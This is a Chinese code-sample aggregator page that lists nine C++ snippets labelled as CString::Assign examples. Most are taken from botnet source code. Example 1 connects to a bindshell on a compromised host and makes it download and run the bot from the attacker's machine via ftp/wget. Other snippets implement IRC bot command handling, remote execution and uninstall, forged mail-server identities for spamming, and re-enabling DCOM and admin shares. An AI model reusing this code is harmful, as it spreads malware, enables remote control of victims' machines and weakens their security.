当前位置: 首页>>代码示例>>C++>>正文


C++ CString::Assign方法代码示例

本文整理汇总了C++中CString::Assign方法的典型用法代码示例。如果您正苦于以下问题:C++ CString::Assign方法的具体用法?C++ CString::Assign怎么用?C++ CString::Assign使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在CString的用法示例。


在下文中一共展示了CString::Assign方法的9个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: Exploit

bool CScannerEthereal::Exploit() {
	if(!IsPrivate(g_pMainCtrl->m_pIRC->m_sLocalIp.CStr()) && IsPrivate(m_sSocket.m_szHost)) return false;

	// We need root to exploit this cause we need to spoof packets
	if(getuid()) return false;

	ExploitInt(0); ExploitInt(1); ExploitInt(2); ExploitInt(3);
	
	CSocket sShellSocket; if(sShellSocket.Connect(m_sSocket.m_szHost, 31337)) {
		CString sCmdBuf; sShellSocket.RecvTO(sCmdBuf.GetBuffer(8192), 8192, 2000);
		sCmdBuf.Format("echo -e open %s %d\\nuser ftp bla\\nget bot\\nquit\\n | ftp -n\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
		sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
		sCmdBuf.Format("wget ftp://bla:[email protected]%s:%d/bot\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
		sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
		sCmdBuf.Assign("chmod 777 ./bot ; ./bla\n");
		sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
		sShellSocket.Disconnect(); return true; } else return false; }
开发者ID:A-Massarella,项目名称:Botnet,代码行数:17,代码来源:etherealscanner.cpp

示例2: Recv

void CBot::Recv(CMessage *pMsg, bool bInternal)
{
#ifdef DBGCONSOLE
	if(pMsg->sDest[0]=='#')
		g_pMainCtrl->m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr());
	else
		g_pMainCtrl->m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr());
#endif

	if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); else pMsg->sReplyTo.Assign(pMsg->sSrc);
	if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc);
	if(pMsg->bOutchan) {
		CString sOutchan; sOutchan.Assign(pMsg->sChatString.Mid(pMsg->sChatString.Find(" -o")+3));
		pMsg->sReplyTo.Assign(sOutchan);
	}
	pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1));

	// Check if its a bot command by comparing the first byte to the bot_prefix value
	if(pMsg->sChatString[0]==bot_prefix.sValue[0]) {
		if(!pMsg->sCmd.Compare("bot.repeat")) {
			if(!pMsg->sChatString.Token(1, " ").Compare("")) return;
			int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return;
			CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' '));
			sNewCStr=sNewCStr.Mid(sNewCStr.Find(' '));
			pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1));
			if(!bInternal)
				for(i=0;i<iNum;i++) HandleMsg(pMsg);
			else
				for(i=0;i<iNum;i++) HandleMsgInt(pMsg);
		} else
			if(!bInternal)
				HandleMsg(pMsg);
			else
				HandleMsgInt(pMsg);
	} else if(pMsg->sChatString.Token(0, " ").Find(g_pMainCtrl->m_sUserName)) {
		// botname .command mod - deejayfuzion
		CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' '));
		pMsg->sChatString.Assign(sNewCStr);
		pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " "));
		this->Recv(pMsg, bInternal);
	} else {
		// fallback handler
		HandleFallBack(pMsg);
	}
}
开发者ID:A-Massarella,项目名称:Botnet,代码行数:45,代码来源:bot.cpp

示例3: GenerateID

CString GenerateID() {
	// E1AOkjD-0001RE-00

	CString sID; sID.Assign("       -      -  ");

	for(int i=0; i<7; i++) {
		int iType=brandom(1,3); switch(iType) {
			case 1:
				// Uppercase letter
				sID[i]=brandom(65, 90);
				break;
			case 2:
				// Lowercase letter
				sID[i]=brandom(97, 122);
				break;
			case 3:
				// Number
				sID[i]=brandom(48, 57);
				break;
		}
	}

	for(i=8; i<12; i++) {
		// Number
		sID[i]=brandom(48, 57);
	}

	for(i=12; i<14; i++) {
		// Uppercase letter
		sID[i]=brandom(65, 90);
	}

	for(i=15; i<17; i++) {
		// Number
		sID[i]=brandom(48, 57);
	}

	return CString("");
}
开发者ID:hazcod,项目名称:botnets,代码行数:39,代码来源:smtp.cpp

示例4: TempDirPath

CString TempDirPath(void)
{
 CString result;
#ifdef OS_WIN
 char tmp[MAX_PATH_LENGTH];
 if (GetTempPath(MAX_PATH_LENGTH,tmp))
 {
  result.Assign((char*)&tmp);
 }
 if (result.IsEmpty())
 {
  result = RootDirPath()+"Temp\\";
 }
#else
 result = getenv("TMPDIR");
 if (result.IsEmpty())
 {
  result = "/tmp/";
 }
#endif
 return result;
}
开发者ID:WinterMute,项目名称:codeblocks_sf,代码行数:22,代码来源:stlfutils.cpp

示例5: Recv

void CBot::Recv(CMessage *pMsg, bool bInternal)
{
#ifdef DBGCONSOLE
	if(pMsg->sDest[0]=='#')
		g_cMainCtrl.m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr());
	else
		g_cMainCtrl.m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr());
#endif

	if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); 
	else pMsg->sReplyTo.Assign(pMsg->sSrc);
	if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc);
	if(pMsg->bOutchan) {
		CString sOutchan; 
		sOutchan.Assign(pMsg->sChatString.Mid(pMsg->sChatString.Find(" -o")+3));
		pMsg->sReplyTo.Assign(sOutchan);
	}
	pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1));

	// Check if its a bot command by comparing the first byte to the bot_prefix value
	if(pMsg->sChatString[0]==bot_prefix.sValue[0]) {
		if(!pMsg->sCmd.Compare(dp(2,15,20,78,18,5,16,5,1,20,0).CStr()) && g_cMainCtrl.m_cMac.FindLogin(pMsg->sSrc)) {
			if(!pMsg->sChatString.Token(1, " ").Compare("")) return;
			int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return;
			CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' '));
			sNewCStr=sNewCStr.Mid(sNewCStr.Find(' '));
			pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1));
			if(!bInternal)
				for(i=0;i<iNum;i++) HandleMsg(pMsg);
			else
				for(i=0;i<iNum;i++) HandleMsgInt(pMsg);
		} else
			if(!bInternal)
				HandleMsg(pMsg);
			else
				HandleMsgInt(pMsg);
	}
}
开发者ID:anticlimactech,项目名称:botnets,代码行数:38,代码来源:bot.cpp

示例6: Mail

bool CSMTP_Connection::Mail(CString sMailFrom, CString sMailFromFull, 
							CString sRcptTo, CString sSubject, CString sData) {
	CString sReqBuf, sRecvBuf, sHost, sSrcID, sMTA, sOS;

	init_random();

	m_iMTAType=brandom(MTA_TYPE_UNKNOWN, MTA_TYPE_QMAIL);

	switch(brandom(1,5)) {
	case 1:
		sOS.Assign("Debian"); break;
	case 2:
		sOS.Assign("RedHat"); break;
	case 3:
		sOS.Assign("SuSE"); break;
	case 4:
		sOS.Assign("Slackware"); break;
	case 5:
		sOS.Assign("FreeBSD"); break;
	default:
		sOS.Assign("Unknown"); break; }

	switch(m_iMTAType) {
	case MTA_TYPE_UNKNOWN:
		{	CString sVersionHigh, sVersionLow, sNumber;
			sVersionHigh.Assign(brandom(3, 4)); sVersionLow.Assign(brandom(1, 40));

			sMTA.Format("SMTP %s.%s (%s)",
				sVersionHigh.CStr(), sVersionLow.CStr(), sOS.CStr()); }
		break;
	case MTA_TYPE_EXIM:
		{	CString sVersionHigh, sVersionLow, sNumber;
			sVersionHigh.Assign(brandom(3, 4)); sVersionLow.Assign(brandom(1, 40)); sNumber.Assign(brandom(1, 5));

			sMTA.Format("Exim %s.%s #%s (%s)",
				sVersionHigh.CStr(), sVersionLow.CStr(), sNumber.CStr(), sOS.CStr()); }
		break;
	case MTA_TYPE_SENDMAIL:
		{	CString sVersionHigh, sVersionLow, sVersionLow2;
			sVersionHigh.Assign(brandom(1, 12)); sVersionLow.Assign(brandom(1, 10));
			sVersionLow2.Assign(brandom(1, 10));

			sMTA.Format("8.%s.%s/8.%s.%s",
				sVersionHigh.CStr(), sVersionLow.CStr(), sVersionHigh.CStr(), sVersionLow2.CStr()); }
		break;
	case MTA_TYPE_QMAIL:
		{	CString sPid; sPid.Assign(brandom(1, 65000));
			CString sInvokedBy; int iInvokedBy=brandom(1,3);
			if(iInvokedBy==1) {
				sInvokedBy.Assign("alias");
			} else if(iInvokedBy==2) {
				sInvokedBy.Assign("network");
			} else if(iInvokedBy==3) {
				sInvokedBy.Assign("uid 0");
			}

			sMTA.Format("qmail %s invoked by %s",
				sPid.CStr(), sInvokedBy.CStr()); }
		break;
	case MTA_TYPE_GAIA:
		break;
	case MTA_TYPE_MSSMTPSVC:
		break;
	case MTA_TYPE_MSEXCHANGE:
		break;
	case MTA_TYPE_HOTMAILWM:
		break;
	case MTA_TYPE_WEBMAIL:
		break;
	case MTA_TYPE_POSTFIX:
		break;
	case MTA_TYPE_SMTPD:
		break;
	case MTA_TYPE_LIST_AMIRC:
		break;
	default:
#ifdef DBGCONSOLE
			g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
				"Invalid MTA type selected!\n", this);
#endif // DBGCONSOLE
			Disconnect(); return false;
		break; }

	// Generate an ID
	CString sID=GenerateID(); sSrcID.Assign(sID);

	// Get local hostname
	sHost.Assign(g_pMainCtrl->m_cIRC.m_sLocalHost.CStr());

	// Send MAIL FROM command
	sReqBuf.Format("MAIL FROM:<%s>\r\n", sMailFrom.CStr());
	m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength());

	// Receive reply
	m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192);
	if(sRecvBuf.Mid(0, 3).Compare("250")) {
		// MAIL FROM failed
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
			"Server rejected MAIL FROM \"%s\" (\"%s\")!\n", this,
//.........这里部分代码省略.........
开发者ID:hazcod,项目名称:botnets,代码行数:101,代码来源:smtp.cpp

示例7: Hello

bool CSMTP_Connection::Hello() {
	CString sReqBuf; CString sRecvBuf; CString sHost;

	// Get local hostname
	sHost.Assign(g_pMainCtrl->m_cIRC.m_sLocalHost.CStr());
	
	// Send EHLO command
	sReqBuf.Format("EHLO %s\r\n", sHost.CStr());
	m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength());

	// Receive reply
	if(!m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192)) {
		// Connection reset
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
			"Connection reset!\n", this);
#endif // DBGCONSOLE
		Disconnect(); return false;
	}

	// Check if EHLO was accepted
	if(sRecvBuf.Mid(0, 3).Compare("250")) {
		// EHLO not accepted, try HELO (no ESMTP)
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
			"Server rejected EHLO, disabling SMTP extensions!\n", this);
#endif // DBGCONSOLE

		// Send HELO command
		sReqBuf.Format("HELO %s\r\n", sHost.CStr());
		m_sServerSocket.Write(sReqBuf.CStr(), sReqBuf.GetLength());

		// Receive reply
		if(!m_sServerSocket.Recv(sRecvBuf.GetBuffer(8192), 8192)) {
			// Connection reset
#ifdef DBGCONSOLE
			g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
				"Connection reset!\n", this);
#endif // DBGCONSOLE
			Disconnect(); return false;
		}

		// Check if HELO was accepted
		if(sRecvBuf.Mid(0, 3).Compare("250")) {
			// HELO not accepted
#ifdef DBGCONSOLE
			g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
				"Server rejected HELO!\n", this);
#endif // DBGCONSOLE
			Disconnect(); return false;
		}

		// HELO accepted, disable ESMTP and return true
		m_bUseSMTPExt=false; return true;
	}

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(7, "CSMTP_Connection(0x%8.8Xh): "
		"Enabled SMTP extensions!\n", this);
#endif // DBGCONSOLE

	// EHLO accepted, enable ESMTP and return true
	m_bUseSMTPExt=true; return true;
}
开发者ID:hazcod,项目名称:botnets,代码行数:64,代码来源:smtp.cpp

示例8: HandleCommand

bool CBot::HandleCommand(CMessage *pMsg)
{	
	// ID
	if(!pMsg->sCmd.Compare(m_cmdId.sName.CStr())) {
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); 
	}

	// Execute
	else if(!pMsg->sCmd.Compare(m_cmdExecute.sName.CStr()))
	{
		CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1;
		#ifdef WIN32
			CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables
			sText.Assign(sTextExp); 
			PROCESS_INFORMATION pinfo; 
			STARTUPINFO sinfo;
			memset(&sinfo, 0, sizeof(STARTUPINFO)); 
			sinfo.cb=sizeof(sinfo);
			if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE;
			if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) {
			g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "exec.error", pMsg->sReplyTo.Str()); return false; }
		#endif
		return true; 
	}

	// Remove Bot
	else if(!pMsg->sCmd.Compare(m_cmdRemove.sName.Str())) 
	{
		CString sNick(pMsg->sChatString.Token(1, " ", true));
		if (!sNick.Compare(g_cMainCtrl.m_sUserName.CStr())) {
			if(g_cMainCtrl.m_cBot.as_enabled.bValue)
				g_cMainCtrl.m_cInstaller.RegStartDel(g_cMainCtrl.m_cBot.as_valname.sValue);
			if(g_cMainCtrl.m_cBot.as_service.bValue)
				g_cMainCtrl.m_cInstaller.ServiceDel(g_cMainCtrl.m_cBot.as_service_name.sValue);
			g_cMainCtrl.m_cInstaller.Uninstall();
			g_cMainCtrl.m_cIRC.m_bRunning=false;
			g_cMainCtrl.m_bRunning=false; 
		}
	}

	// About
	else if(!pMsg->sCmd.Compare(m_cmdAbout.sName.CStr())) {
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, g_cMainCtrl.m_sNameVerStr.Str(), pMsg->sReplyTo.Str()); 
	}

	
	// Flush DNS
	else if(!pMsg->sCmd.Compare(m_cmdFlushDNS.sName.CStr())) 
	{
		#ifdef WIN32
			// ipconfig.exe /flushdns
			Execute(dp(9,16,3,15,14,6,9,7,78,5,24,5,0).CStr(), dp(80,6,12,21,19,8,4,14,19,0).CStr());
		#endif
		return true; 
	}

	// Open File
	else if(!pMsg->sCmd.Compare(m_cmdOpen.sName.CStr())) 
	{
		CString sText; 
		sText=pMsg->sChatString.Token(1, " ").CStr(); 
		CString bRet;

		bRet=(char)ShellExecute(
			NULL, 
			"open", 
			sText.CStr(), 
			NULL,
			NULL,
			SW_SHOWNORMAL
		);

	//	bRet=system(sText.CStr())>0;
	//	if(bRet) return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str());
		//else return 
		g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bRet.Str(), pMsg->sReplyTo.Str()); 
	}

	// Quit
	else if(!pMsg->sCmd.Compare(m_cmdQuit.sName.CStr())) 
	{
		g_cMainCtrl.m_cIRC.m_bRunning=false; 
		return true; 
	}

	// DNS
	else if(!pMsg->sCmd.Compare(m_cmdDns.sName.CStr())) 
	{
		CString sReply; 
		hostent *pHostent=NULL; 
		in_addr iaddr;
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
		unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr());
		if(addr!=INADDR_NONE) {
			pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET);
			if(pHostent) {
				sReply.Format("%s resolved %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name);
				return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); 
			}
		} else {
//.........这里部分代码省略.........
开发者ID:anticlimactech,项目名称:botnets,代码行数:101,代码来源:bot.cpp

示例9: HandleCommand

bool CBot::HandleCommand(CMessage *pMsg)
{	
	if(!pMsg->sCmd.Compare("bot.remove") || !pMsg->sCmd.Compare("bot.removeallbut")) {
		CString sId(pMsg->sChatString.Token(1, " ", true));
		if(!pMsg->sCmd.Compare("bot.removeallbut")) if(!sId.Compare(g_pMainCtrl->m_cBot.bot_id.sValue)) return false;
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "removing bot...", pMsg->sReplyTo);
#ifdef WIN32
		/// should unsecure system as remove bot to allow recycling //
		
		// Set EnableDCOM to "Y"
		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
		strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf);
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
		RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
		RegCloseKey(hkey);

		// UnSecure Shares
		Execute("net.exe", "net share c$=c:\\");
		Execute("net.exe", "net share d$=d:\\");
		Execute("net.exe", "net share e$=e:\\");
		Execute("net.exe", "net share ipc$");
		Execute("net.exe", "net share admin$");

		// Delete Autostart
		if(g_pMainCtrl->m_cBot.as_enabled.bValue)
			g_pMainCtrl->m_cInstaller.RegStartDel(g_pMainCtrl->m_cBot.as_valname.sValue);
		if(g_pMainCtrl->m_cBot.as_service.bValue)
			g_pMainCtrl->m_cInstaller.ServiceDel(g_pMainCtrl->m_cBot.as_service_name.sValue);
#endif
		g_pMainCtrl->m_cInstaller.Uninstall();
		g_pMainCtrl->m_cIRC.m_bRunning=false; g_pMainCtrl->m_bRunning=false; }

	else if(!pMsg->sCmd.Compare("bot.execute")) {
		CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1;
#ifdef WIN32
		CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables
		sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo;
		memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo);
		if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE;
		if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) {
			g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; }
#else
		CString sCmdBuf; sCmdBuf.Format("/bin/sh -c \"%s\"", sText.CStr());
		if(system(sCmdBuf.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; }
#endif
		return true; }

	else if(!pMsg->sCmd.Compare("bot.open")) {
		if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
		CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false;
#ifdef WIN32
		bRet=(int)ShellExecute(0, "open", sText.CStr(), NULL, NULL, SW_SHOW)>=32;
#else
		bRet=system(sText.CStr())>0;
#endif
		if(bRet) return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str());
		else return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't open file.", pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.dns")) {
		CString sReply; hostent *pHostent=NULL; in_addr iaddr;
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
		unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr());
	
		if(addr!=INADDR_NONE) {
			pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET);
			if(pHostent) {
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name);
				return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); }
		} else {
			pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr());
			if(pHostent) {
				iaddr=*((in_addr*)*pHostent->h_addr_list);
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr));
				return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }
		
		if(!pHostent) {
			sReply.Format("couldn't resolve host \"%s\"!", pMsg->sChatString.Token(1, " ").CStr());
			return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }

	else if(!pMsg->sCmd.Compare("bot.about")) {
		CString sReplyBuf; sReplyBuf.Format("%s", g_pMainCtrl->m_sNameVerStr.CStr());
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.id")) {
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.nick")) {
		g_pMainCtrl->m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr());
		g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", g_pMainCtrl->m_sUserName.CStr());
		return true; }

	else if(!pMsg->sCmd.Compare("bot.quit") || !pMsg->sCmd.Compare("bot.die")) {
		g_pMainCtrl->m_cIRC.m_bRunning=false; return true; }

	else if(!pMsg->sCmd.Compare("bot.sysinfo")) {
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.longuptime")) {
		int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7;
		CString sUptime=LongUptime(iDays);
//.........这里部分代码省略.........
开发者ID:A-Massarella,项目名称:Botnet,代码行数:101,代码来源:bot.cpp


注:本文中的CString::Assign方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。